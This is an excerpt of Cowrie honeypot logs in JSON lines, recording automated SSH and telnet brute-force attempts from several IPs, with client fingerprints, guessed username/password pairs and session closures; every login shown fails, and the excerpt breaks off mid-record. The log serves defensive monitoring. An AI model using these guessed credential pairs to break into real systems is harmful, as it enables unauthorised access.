{"eventid":"cowrie.login.failed","username":"dev","password":"password","message":"login attempt [dev/password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:09:38.154417Z","src_ip":"103.129.221.202","session":"edcfb13c859e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:09:39.404535Z","src_ip":"103.129.221.202","session":"edcfb13c859e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":36.64637327194214,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:09:39.976965Z","src_ip":"64.227.9.242","session":"8bca1ad78766","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.32.171.213","src_port":38994,"dst_ip":"10.17.0.5","dst_port":22,"session":"abd2472d3523","protocol":"ssh","message":"New connection: 152.32.171.213:38994 (10.17.0.5:22) [session: abd2472d3523]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:09:47.120202Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:09:47.124486Z","src_ip":"152.32.171.213","session":"abd2472d3523","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":32.39660143852234,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:09:47.253858Z","src_ip":"64.227.9.242","session":"468815a09244","protocol":"telnet"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:09:47.337293Z","src_ip":"152.32.171.213","session":"abd2472d3523","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"andrei","message":"login attempt [admin/andrei] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:09:48.220653Z","src_ip":"152.32.171.213","session":"abd2472d3523","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:09:49.435496Z","src_ip":"152.32.171.213","session":"abd2472d3523","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.9.242","src_port":39120,"dst_ip":"159.203.135.109","dst_port":23,"session":"cc927927d1e5","protocol":"telnet","message":"New connection: 64.227.9.242:39120 (159.203.135.109:23) [session: cc927927d1e5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:09:49.964194Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.13.206.100","src_port":46024,"dst_ip":"10.17.0.5","dst_port":22,"session":"608dc6174a7f","protocol":"ssh","message":"New connection: 103.13.206.100:46024 (10.17.0.5:22) [session: 608dc6174a7f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:09:54.587930Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:09:54.593075Z","src_ip":"103.13.206.100","session":"608dc6174a7f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:09:54.824936Z","src_ip":"103.13.206.100","session":"608dc6174a7f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"vmadmin","password":"vmadmin123","message":"login attempt [vmadmin/vmadmin123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:09:55.785588Z","src_ip":"103.13.206.100","session":"608dc6174a7f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:09:57.021610Z","src_ip":"103.13.206.100","session":"608dc6174a7f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.9.242","src_port":49190,"dst_ip":"159.203.135.109","dst_port":23,"session":"2ee44df2833b","protocol":"telnet","message":"New connection: 64.227.9.242:49190 (159.203.135.109:23) [session: 2ee44df2833b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:09:59.684697Z"}
{"eventid":"cowrie.session.connect","src_ip":"112.217.199.222","src_port":56566,"dst_ip":"10.17.0.5","dst_port":22,"session":"f0d345b694da","protocol":"ssh","message":"New connection: 112.217.199.222:56566 (10.17.0.5:22) [session: f0d345b694da]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:10:09.130246Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:10:09.135907Z","src_ip":"112.217.199.222","session":"f0d345b694da","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:10:09.346180Z","src_ip":"112.217.199.222","session":"f0d345b694da","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin1","password":"pass","message":"login attempt [admin1/pass] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:10:10.217564Z","src_ip":"112.217.199.222","session":"f0d345b694da","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:10:11.432807Z","src_ip":"112.217.199.222","session":"f0d345b694da","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":37.31562781333923,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:10:27.279701Z","src_ip":"64.227.9.242","session":"cc927927d1e5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.9.242","src_port":57274,"dst_ip":"159.203.135.109","dst_port":23,"session":"d0d3f06a1afa","protocol":"telnet","message":"New connection: 64.227.9.242:57274 (159.203.135.109:23) [session: d0d3f06a1afa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:10:31.009411Z"}
{"eventid":"cowrie.session.closed","duration":34.4886748790741,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:10:34.173162Z","src_ip":"64.227.9.242","session":"2ee44df2833b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"1.235.192.214","src_port":39030,"dst_ip":"10.17.0.5","dst_port":22,"session":"4e5481c535fd","protocol":"ssh","message":"New connection: 1.235.192.214:39030 (10.17.0.5:22) [session: 4e5481c535fd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:10:42.591019Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:10:42.595627Z","src_ip":"1.235.192.214","session":"4e5481c535fd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:10:42.774391Z","src_ip":"1.235.192.214","session":"4e5481c535fd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"lana","message":"login attempt [test/lana] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:10:43.520586Z","src_ip":"1.235.192.214","session":"4e5481c535fd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:10:44.700881Z","src_ip":"1.235.192.214","session":"4e5481c535fd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.9.242","src_port":43864,"dst_ip":"159.203.135.109","dst_port":23,"session":"309e201968a1","protocol":"telnet","message":"New connection: 64.227.9.242:43864 (159.203.135.109:23) [session: 309e201968a1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:10:57.799144Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.129.221.202","src_port":47330,"dst_ip":"10.17.0.5","dst_port":22,"session":"1e0a82337953","protocol":"ssh","message":"New connection: 103.129.221.202:47330 (10.17.0.5:22) [session: 1e0a82337953]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:11:02.366635Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:11:02.374102Z","src_ip":"103.129.221.202","session":"1e0a82337953","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:11:02.616709Z","src_ip":"103.129.221.202","session":"1e0a82337953","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"@dm!n","message":"login attempt [admin/@dm!n] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:11:03.616579Z","src_ip":"103.129.221.202","session":"1e0a82337953","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"112.217.199.222","src_port":45428,"dst_ip":"10.17.0.5","dst_port":22,"session":"93c34b87351d","protocol":"ssh","message":"New connection: 112.217.199.222:45428 (10.17.0.5:22) [session: 93c34b87351d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:11:04.090987Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:11:04.095648Z","src_ip":"112.217.199.222","session":"93c34b87351d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:11:04.301865Z","src_ip":"112.217.199.222","session":"93c34b87351d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:11:04.862713Z","src_ip":"103.129.221.202","session":"1e0a82337953","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"default","password":"test123","message":"login attempt [default/test123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:11:05.150185Z","src_ip":"112.217.199.222","session":"93c34b87351d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:11:06.358029Z","src_ip":"112.217.199.222","session":"93c34b87351d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":37.260167360305786,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:11:08.269466Z","src_ip":"64.227.9.242","session":"d0d3f06a1afa","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.13.206.100","src_port":34716,"dst_ip":"10.17.0.5","dst_port":22,"session":"0b4e170c79de","protocol":"ssh","message":"New connection: 103.13.206.100:34716 (10.17.0.5:22) [session: 0b4e170c79de]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:11:12.221687Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:11:12.227258Z","src_ip":"103.13.206.100","session":"0b4e170c79de","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:11:12.462480Z","src_ip":"103.13.206.100","session":"0b4e170c79de","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.32.171.213","src_port":51542,"dst_ip":"10.17.0.5","dst_port":22,"session":"3f85b8bb431d","protocol":"ssh","message":"New connection: 152.32.171.213:51542 (10.17.0.5:22) [session: 3f85b8bb431d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:11:12.472788Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:11:12.477583Z","src_ip":"152.32.171.213","session":"3f85b8bb431d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group1